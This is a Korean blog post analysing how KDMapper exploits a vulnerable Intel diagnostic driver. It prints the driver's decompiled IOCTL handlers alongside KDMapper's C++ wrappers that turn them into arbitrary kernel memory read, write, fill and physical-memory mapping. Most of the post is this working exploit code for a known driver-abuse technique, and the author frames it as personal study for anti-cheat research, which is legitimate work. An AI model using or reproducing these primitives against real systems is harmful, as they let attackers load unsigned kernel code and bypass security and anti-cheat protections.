KDMapper์—์„œ๋Š” ๋ชจ๋“  ์ปค๋„ ์ž‘์—…์„ DeviceIoControl ํ•จ์ˆ˜์˜ IoControlCode๊ฐ’์„ 0x80862007๋งŒ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

1.4.1 ioctl_handler

Vuln Driver SourceCode
__int64 __fastcall ioctl_handler_11150(__int64 a1, IRP *a2) { _IO_STACK_LOCATION *v2; // rax __int64 v3; // rcx __int64 v5; // rdx unsigned int v6; // ebx v2 = a2->Tail.Overlay.CurrentStackLocation; v3 = (__int64)v2->Parameters.CreatePipe.Parameters; v5 = v2->Parameters.Read.ByteOffset.LowPart; if ( v3 ) { switch ( (_DWORD)v5 ) { case 0x80862007: v6 = vuln_func_113C0(v3); break; case 0x8086200B: v6 = sub_11A60(v3); break; case 0x8086200F: v6 = sub_11330(); break; case 0x80862013: v6 = sub_13FA0(); break; default: v6 = -1073741811; sub_11F30("Nal Windows DriverDeviceControl: Invalid IOCTL code 0x%0x\n", v5); break; } } else { sub_11F30("NalDeviceControl: InputBuffer was NULL\n", v5); v6 = -1073741811; } a2->IoStatus.Information = 0i64; a2->IoStatus.Status = v6; IofCompleteRequest(a2, 0); return v6; }
C
๋ณต์‚ฌ

1.4.2 vuln_func

ํ•ด๋‹น ํ•จ์ˆ˜์—์„œ ์ž…๋ ฅ๋ฐ›์€ ๊ตฌ์กฐ์ฒด์˜ Case Number์— ๋”ฐ๋ผ ํŠน์ • ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
KDMapper์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํ•จ์ˆ˜๋“ค์„ ํ™•์ธํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.
__int64 __fastcall sub_113C0(__int64 a1) { unsigned int v2; // ebx __int64 result; // rax __int64 v4; // rcx __int64 v5; // rcx __int64 v6; // rdx v2 = 1; if ( !a1 ) return v2; switch ( *(_QWORD *)a1 ) { case 1i64: *(_BYTE *)(a1 + 16) = sub_11C20(*(_QWORD *)(a1 + 24)); return 0i64; case 2i64: *(_WORD *)(a1 + 16) = sub_11C30(*(_QWORD *)(a1 + 24)); return 0i64; case 3i64: *(_DWORD *)(a1 + 16) = sub_11C40(*(_QWORD *)(a1 + 24)); return 0i64; case 7i64: *(_BYTE *)(a1 + 16) = sub_11C50(*(_QWORD *)(a1 + 24), *(unsigned __int8 *)(a1 + 32)); return 0i64; case 8i64: *(_BYTE *)(a1 + 16) = sub_11C60(*(_QWORD *)(a1 + 24), *(unsigned __int16 *)(a1 + 32)); return 0i64; case 9i64: *(_BYTE *)(a1 + 16) = sub_11C80(*(_QWORD *)(a1 + 24), *(unsigned int *)(a1 + 32)); return 0i64; case 0xDi64: *(_BYTE *)(a1 + 16) = sub_11C90(*(_QWORD *)(a1 + 24)); return 0i64; case 0xEi64: *(_WORD *)(a1 + 16) = sub_11CB0(*(_QWORD *)(a1 + 24)); return 0i64; case 0xFi64: *(_DWORD *)(a1 + 16) = sub_11CD0(*(_QWORD *)(a1 + 24)); return 0i64; case 0x13i64: *(_BYTE *)(a1 + 16) = sub_11CF0(*(_QWORD *)(a1 + 24), *(unsigned __int8 *)(a1 + 32)); return 0i64; case 0x14i64: *(_BYTE *)(a1 + 16) = sub_11D10(*(_QWORD *)(a1 + 24), *(unsigned __int16 *)(a1 + 32)); return 0i64; case 0x15i64: *(_BYTE *)(a1 + 16) = sub_11D30(*(_QWORD *)(a1 + 24), *(unsigned int *)(a1 + 32)); return 0i64; case 0x19i64: *(_DWORD *)(a1 + 16) = sub_12AC0(a1 + 24, *(_QWORD *)(a1 + 32), a1 + 40); return 0i64; case 0x1Ai64: *(_DWORD *)(a1 + 16) = sub_121C0(*(PVOID *)(a1 + 24)); return 0i64; case 0x1Bi64: *(_QWORD *)(a1 + 16) = sub_11DB0(); return 0i64; case 0x1Ci64: *(_QWORD *)(a1 + 16) = sub_12450(); return 0i64; case 0x23i64: sub_123C0(*(_DWORD *)(a1 + 16)); return 0i64; case 0x24i64: sub_11D50(*(_DWORD *)(a1 + 16)); return 0i64; case 0x25i64: *(_QWORD *)(a1 + 16) = sub_12010(*(_QWORD *)(a1 + 24)); return 0i64; case 0x26i64: *(_QWORD *)(a1 + 16) = sub_128B0(*(_DWORD *)(a1 + 24), *(_DWORD *)(a1 + 28), (int)a1 + 32, 0, 0); return 0i64; case 0x27i64: sub_128E0(*(_QWORD *)(a1 + 16), 0i64, 0i64); return 0i64; case 0x28i64: *(_DWORD *)(a1 + 16) = sub_11ED0(*(_QWORD *)(a1 + 24)); return 0i64; case 0x29i64: *(_DWORD *)(a1 + 16) = sub_11EF0(*(_QWORD *)(a1 + 24)); return 0i64; case 0x2Ai64: *(_DWORD *)(a1 + 16) = sub_11F10(*(_QWORD *)(a1 + 24), *(unsigned int *)(a1 + 32), *(unsigned int *)(a1 + 36)); return 0i64; case 0x2Fi64: if ( a1 == -16 ) goto LABEL_42; *(_DWORD *)(a1 + 16) = sub_11F30((char *)(a1 + 20)); result = 0i64; break; case 0x30i64: v4 = *(_QWORD *)(a1 + 24); if ( v4 ) { memset_11E70(v4, *(unsigned int *)(a1 + 16), *(_QWORD *)(a1 + 32)); result = 0i64; } else { sub_11F30("NAL_KMEMSET_FUNCID: One of the buffers was NULL\n"); result = 1i64; } return result; case 0x31i64: v5 = *(_QWORD *)(a1 + 24); if ( v5 ) { v6 = *(_QWORD *)(a1 + 16); if ( v6 ) goto LABEL_29; } sub_11F30("NAL_KUMEMCPY_FUNCID: One of the buffers was NULL\n"); result = 1i64; break; case 0x32i64: v5 = *(_QWORD *)(a1 + 24); if ( v5 && (v6 = *(_QWORD *)(a1 + 16)) != 0 ) { LABEL_29: memmove_11EA0(v5, v6, *(_QWORD *)(a1 + 32)); result = 0i64; } else { sub_11F30("NAL_KKMEMCPY_FUNCID: One of the buffers was NULL\n"); result = 1i64; } break; case 0x33i64: memmove_11EA0(*(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 16), *(_QWORD *)(a1 + 32)); result = 0i64; break; case 0x36i64: if ( a1 == -16 ) { LABEL_42: sub_11F30("NAL_ENABLE_DEBUG_PRINT_FUNCID: FunctionData is NULL\n"); result = 1i64; } else { sub_12000(*(unsigned __int8 *)(a1 + 16)); result = 0i64; } break; case 0x37i64: *(_QWORD *)(a1 + 16) = sub_12520(*(_DWORD *)(a1 + 24)); result = 0i64; break; case 0x38i64: sub_12770(*(_QWORD *)(a1 + 16), *(_QWORD *)(a1 + 24), 0i64, 0i64); result = 0i64; break; case 0x39i64: *(_DWORD *)(a1 + 16) = sub_129C0(a1 + 24, *(_QWORD *)(a1 + 32), a1 + 40, *(_QWORD *)(a1 + 48)); result = 0i64; break; case 0x3Ai64: *(_DWORD *)(a1 + 16) = sub_12220( *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(unsigned int *)(a1 + 40), *(_QWORD *)(a1 + 48)); result = 0i64; break; case 0x3Bi64: *(_QWORD *)(a1 + 16) = sub_11DE0(*(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32)); result = 0i64; break; default: return (unsigned int)-932569064; } return result; }
C
๋ณต์‚ฌ

1.4.3 MemCopy, ReadMemory, WriteMemory (Case 0x33)

Vuln Driver
case 0x33i64: v12 = inputbuffer->len; v13 = inputbuffer->address1; arbitrary_write_11EA0((__int64)inputbuffer->address2); result = 0i64; break; __int64 __fastcall arbitrary_write_11EA0(__int64 a1) { __int64 v1; // rbx v1 = a1; if ( KeGetCurrentIrql() <= 2u ) memmove(); return v1; }
C
๋ณต์‚ฌ
KDMapper
bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) { if (!destination || !source || !size) return 0; COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 }; copy_memory_buffer.case_number = 0x33; copy_memory_buffer.source = source; copy_memory_buffer.destination = destination; copy_memory_buffer.length = size; DWORD bytes_returned = 0; return DeviceIoControl(device_handle, ioctl1, &copy_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr); } bool intel_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) { return MemCopy(device_handle, reinterpret_cast<uint64_t>(buffer), address, size); } bool intel_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) { return MemCopy(device_handle, address, reinterpret_cast<uint64_t>(buffer), size); }
C
๋ณต์‚ฌ

1.4.4 SetMemory (Case 0x30)

Vuln Driver
case 0x30i64: v6 = inputbuffer->address2; if ( v6 ) { memset_11E70(v6, LODWORD(v1->address1), v1->len); result = 0i64; } else { debug_log_11F30("NAL_KMEMSET_FUNCID: One of the buffers was NULL\n"); result = 1i64; } break; __int64 __fastcall memset_11E70(__int64 a1, unsigned __int8 a2) { __int64 v2; // rbx v2 = a1; if ( KeGetCurrentIrql() <= 2u ) memset(a1, a2); return v2; }
C
๋ณต์‚ฌ
KDMapper
bool intel_driver::SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size) { if (!address || !size) return 0; FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 }; fill_memory_buffer.case_number = 0x30; fill_memory_buffer.destination = address; fill_memory_buffer.value = value; fill_memory_buffer.length = size; DWORD bytes_returned = 0; return DeviceIoControl(device_handle, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr); }
C
๋ณต์‚ฌ

1.4.3 GetPhysicalAddress (Case 0x25)

Vuln Driver
case 0x25i64: inputbuffer->address1 = (void *)GetPhysicalAddres_12010(inputbuffer->address2).QuadPart; return 0i64;
C
๋ณต์‚ฌ
KDMapper
bool intel_driver::GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address) { if (!address) return 0; GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 }; get_phys_address_buffer.case_number = 0x25; get_phys_address_buffer.address_to_translate = address; DWORD bytes_returned = 0; if (!DeviceIoControl(device_handle, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr)) return false; *out_physical_address = get_phys_address_buffer.return_physical_address; return true; }
C
๋ณต์‚ฌ

1.4.4 MapIoSpace (Case 0x19)

Vuln Driver
case 0x19i64: LODWORD(inputbuffer->address1) = mapiospace_12AC0( &inputbuffer->address2, (PHYSICAL_ADDRESS)inputbuffer->len, (unsigned int *)&inputbuffer[1]); return 0i64;
C
๋ณต์‚ฌ
KDMapper
uint64_t intel_driver::MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size) { if (!physical_address || !size) return 0; MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 }; map_io_space_buffer.case_number = 0x19; map_io_space_buffer.physical_address_to_map = physical_address; map_io_space_buffer.size = size; DWORD bytes_returned = 0; if (!DeviceIoControl(device_handle, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr)) return 0; return map_io_space_buffer.return_virtual_address; }
C
๋ณต์‚ฌ

1.4.5 UnmapIoSpace (Case 0x1A)

Vuln Driver
case 0x1Ai64: v4 = LODWORD(inputbuffer[1].case); v5 = inputbuffer->len; LODWORD(inputbuffer->address1) = sub_121C0(inputbuffer->address2);
C
๋ณต์‚ฌ
KDMapper
bool intel_driver::UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size) { if (!address || !size) return false; UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 }; unmap_io_space_buffer.case_number = 0x1A; unmap_io_space_buffer.virt_address = address; unmap_io_space_buffer.number_of_bytes = size; DWORD bytes_returned = 0; return DeviceIoControl(device_handle, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr); }
C
๋ณต์‚ฌ

2. Outro

๊ฐœ์ธ์ ์œผ๋กœ KDMapper๋ฅผ ๊ณต๋ถ€ํ•˜๋ฉด์„œ ์ปค๋„์˜ ์ƒˆ๋กœ์šด ๋ถ€๋ถ„์„ ๊ณต๋ถ€ํ•˜๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
Kernel Anti-Cheat ์—ฐ๊ตฌ์™€ ๊ด€๋ จํ•ด์„œ ์ƒ๋‹นํžˆ ํ•„์š”ํ•œ ํŒŒํŠธ๋ผ๊ณ  ์ƒ๊ฐํ•˜๋ฉฐ ํ•ด๋‹น ์—ฐ๊ตฌ์— ๊ธฐ์ดˆ์ ์ธ ๋ถ€๋ถ„์ด๋ผ๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค.
์•ž์œผ๋กœ ์ข€ ๋” ์ •์ง„ํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

3. Reference